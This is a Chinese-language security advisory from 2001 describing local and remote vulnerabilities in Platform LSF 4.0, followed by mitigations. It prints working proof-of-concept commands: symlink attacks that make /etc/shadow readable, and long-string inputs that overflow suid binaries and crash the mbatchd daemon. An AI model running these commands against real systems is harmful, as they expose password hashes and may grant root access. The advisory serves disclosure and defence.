xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

LSF 存在多个安全漏洞


发布时间:2001-12-13
更新时间:2001-12-13
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
LSF version 4.0
详细描述
Load Sharing Facility (http://www.platform.com/)是资源管理应用程序,其中
存在安全漏洞可以导致本地用户读受限文件系统或者可能获得ROOT权利访问。

1)默认日志配置可以导致攻击者读系统上任意文件。

默认LSF配置,所有LSF日志保存在/tmp目录下,问题是程序使用root权利写这些
日志文件,而且没有对日志文件进行任何检查,因此,使用符号连接可以导致读
任意系统文件。

$ ln -s /etc/shadow /tmp/lim.log.hostname

LSF会追加日志到/etc/shadow文件并改变文件权限可以导致任意用户可读。



2)每个用户有自己配置文件,可以导致攻击者读任意文件。

每个用户有自己可定制的配置文件存在问题,攻击者可以强迫LSF应用程序做不
期望的事情如改变LSF_ENVDIR可以导致它指向你Home目录:

% setenv LSF_ENVDIR /my/home/dir

拷贝LSF配置文件到你自己home目录:

% cp /etc/lsf.conf /my/home/dir/lsf.conf

在/my/home/dir/lsf.conf做如下改变:
LSB_CMD_LOGDIR=/tmp/test
LSF_LOGDIR=/tmp/test

建立一个/tmp/test目录:

% mkdir /tmp/test

建立一个符号连接把日志文件连接到/etc/shadow:

% ln -s /etc/shadow /tmp/test/bqc.log.hostname
        [ 'hostname' is your hostname ]

然后执行:

% bqc -i non_existent

3)lsadmin和badmin可执行文件存在漏洞,可以导致攻击者获得ROOT权限:

% setenv LSF_ENVDIR `perl -e 'print "A" x 292'`
% lsadmin [or badmin]
Segmentation fault


4)如果没有使用'eauth'作为认证机制,LSF以suid=root安装,存在多个缓冲溢出:

% bstatus `perl -e 'print "A" x 524'`
[You may need more than 524]


5)'mbatchd'守护程序存在远程溢出。

% bstatus -d AAA -J `perl -e 'print "A" x 500'`
Job <0>: XDR encode/decode error
% bjobs
batch system daemon not responding ... still trying

% tail -2 sbatchd.log.hostanme
17:18:37 2001 87317 3 4.0.1 mbatchd died with signal <11> termination
17:18:37 2001 87317 3 4.0.1 mbatchd core dumped

测试代码
见描述

解决方案
1漏洞解决方法:

改变日志默认目录,编辑/etc/lsf.conf的LSF_LOGDIR 变量,并限制只有ROOT可以
访问此目录。

2,3,4漏洞解决方法:

使用'eauth'认证方法,你可以在lsf.conf使用LSF_AUTH=eauth变量,这个环境下
只有两个suid root安装的程序'lsadmin'和'badmin'.

然后设置'lsadmin'和'badmin'.为700。

相关信息
cadence at apollo.aci.com.pl

参考:http://www.securiteam.com/unixfocus/6Q00J0A3FQ.html